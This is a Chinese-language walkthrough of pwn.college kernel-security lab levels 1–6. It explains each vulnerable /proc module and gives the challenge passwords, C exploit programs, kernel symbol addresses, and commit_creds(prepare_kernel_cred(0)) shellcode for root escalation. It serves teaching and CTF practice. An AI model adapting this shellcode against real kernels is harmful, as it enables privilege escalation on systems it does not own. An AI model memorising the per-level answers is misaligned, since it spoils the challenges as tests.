Pwn College Kernel Security实验详解(level1~level6)
字数 1859 2025-08-24 07:48:23
Pwn College Kernel Security 实验详解
实验概述
本系列实验旨在教授内核安全相关知识,通过分析内核模块漏洞并利用这些漏洞获取系统权限。实验环境通过GUI Desktop Workspace界面提供,所有挑战模块位于根目录的/challenge目录下。
实验环境准备
- 访问实验地址: https://pwn.college/system-security/kernel-security/
- 点击"start"启动环境
- 进入GUI Desktop Workspace界面
- 使用
vm connect命令连接实验环境
Level 1.0 - 1.1: 简单密码验证
分析
- 内核模块在
/proc目录下创建名为pwncollege的接口 device_write函数将用户输入与硬编码密码比较device_read函数验证密码,正确则输出flag(位于根目录,仅root可读)
密码
- Level 1.0:
snceewqvyntlwfha - Level 1.1:
bbhlnbpoisiduufx
利用代码
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#define DEVICE_PATH "/proc/pwncollege"
int main() {
int fd;
char *password = "snceewqvyntlwfha"; // 替换为对应版本的密码
ssize_t written;
fd = open(DEVICE_PATH, O_WRONLY);
written = write(fd, password, strlen(password));
printf("Password written to the device successfully.\n");
close(fd);
return EXIT_SUCCESS;
}
验证方法
- 编译并运行程序
- 查看内核日志或直接读取
/proc/pwncollege接口获取flag
Level 2.0 - 2.1: 无read函数的密码验证
分析
- 与Level 1类似,但没有
device_read函数 - 直接查看
pwncollege接口会显示错误 - flag输出在内核日志中
密码
- Level 2.0:
yjtvotvfhmaybgnh - Level 2.1:
dmmwsghycbuooaja
利用代码
(同Level 1,只需修改密码)
验证方法
查看内核日志获取flag
Level 3.0 - 3.1: 提权功能
分析
- 密码正确时进入
win函数,该函数具有提权功能 - 成功后可直接读取
/flag文件
密码
- Level 3.0:
dylgcsgflojsupql - Level 3.1:
uhgodmeakdsthjfj
利用代码
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#define DEVICE_PATH "/proc/pwncollege"
int main() {
int fd;
char *password = "dylgcsgflojsupql"; // 替换为对应版本的密码
ssize_t written;
fd = open(DEVICE_PATH, O_WRONLY);
written = write(fd, password, strlen(password));
printf("Password written to the device successfully.\n");
system("cat /flag");
close(fd);
return EXIT_SUCCESS;
}
Level 4.0 - 4.1: IOCTL接口
分析
- 使用
ioctl而非write函数 - 需要传递
cmd = 1337才能进入判断 - 密码正确时进入提权函数
密码
- Level 4.0:
pupqprwamavtwcxq - Level 4.1:
pkrnvpxjhribcxwl
利用代码
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#define DEVICE_PATH "/proc/pwncollege"
#define IOCTL_CMD 1337
int main() {
int fd;
char *password = "pupqprwamavtwcxq"; // 替换为对应版本的密码
ssize_t written;
fd = open(DEVICE_PATH, O_WRONLY);
written = ioctl(fd, IOCTL_CMD, password);
printf("Password written to the device successfully.\n");
system("cat /flag");
close(fd);
return EXIT_SUCCESS;
}
Level 5.0 - 5.1: 函数指针调用
分析
- 需要传递
cmd = 1337 - 执行用户输入的指针(函数地址)
- 需要找到
win函数地址:- 提升到root权限:
sudo su - 查看
/proc/kallsyms文件 - 搜索
win函数地址
- 提升到root权限:
函数地址
- Level 5.0:
0xffffffffc000093d - Level 5.1:
0xffffffffc0000F62
利用代码
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#define DEVICE_PATH "/proc/pwncollege"
#define IOCTL_CMD 1337
int main() {
int fd;
ssize_t written;
fd = open(DEVICE_PATH, O_WRONLY);
written = ioctl(fd, IOCTL_CMD, 0xffffffffc000093d); // 替换为对应版本的地址
printf("Password written to the device successfully.\n");
system("cat /flag");
close(fd);
return EXIT_SUCCESS;
}
Level 6.0 - 6.1: 内核提权
分析
device_write使用copy_from_user将用户输入传入内核并执行- 需要构造shellcode执行
commit_creds(prepare_kernel_cred(0)) - 关键函数地址:
- 提升到root权限:
sudo su - 查看
/proc/kallsyms:prepare_kernel_credcommit_creds
- 提升到root权限:
Level 6.0函数地址
prepare_kernel_cred:0xffffffff810890d0commit_creds:0xffffffff81088d90
Level 6.1函数地址
(需自行查找)
Shellcode汇编
push rsi
mov rsi, 0xffffffff810890d0 ; prepare_kernel_cred地址
push rdi
xor rdi, rdi ; 参数0
call rsi
mov rdi, rax ; 返回值作为参数
mov rsi, 0xffffffff81088d90 ; commit_creds地址
call rsi
pop rdi
pop rsi
ret
Shellcode机器码
\x56\x48\xBE\xD0\x90\x08\x81\xFF\xFF\xFF\xFF\x57\x48\x31\xFF\xFF\xD6\x48\x89\xC7\x48\xBE\x90\x8D\x08\x81\xFF\xFF\xFF\xFF\xFF\xD6\x5F\x5E\xC3
利用代码
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#define DEVICE_PATH "/proc/pwncollege"
int main() {
int fd;
char shellcode[] = "\x56\x48\xBE\xD0\x90\x08\x81\xFF\xFF\xFF\xFF\x57\x48\x31\xFF\xFF\xD6\x48\x89\xC7\x48\xBE\x90\x8D\x08\x81\xFF\xFF\xFF\xFF\xFF\xD6\x5F\x5E\xC3";
fd = open(DEVICE_PATH, O_WRONLY);
write(fd, shellcode, strlen(shellcode));
printf("Password written to the device successfully.\n");
system("cat /flag");
close(fd);
return EXIT_SUCCESS;
}
总结
本系列实验涵盖了从简单密码验证到内核提权的多种漏洞利用技术,关键知识点包括:
- 内核模块与用户空间的交互接口(/proc文件系统)
- 密码硬编码漏洞
- IOCTL接口的使用与安全
- 函数指针调用漏洞
- 内核空间代码执行与提权
- Shellcode构造与内核函数调用约定
通过逐步完成这些实验,可以深入理解内核安全漏洞的成因和利用方法。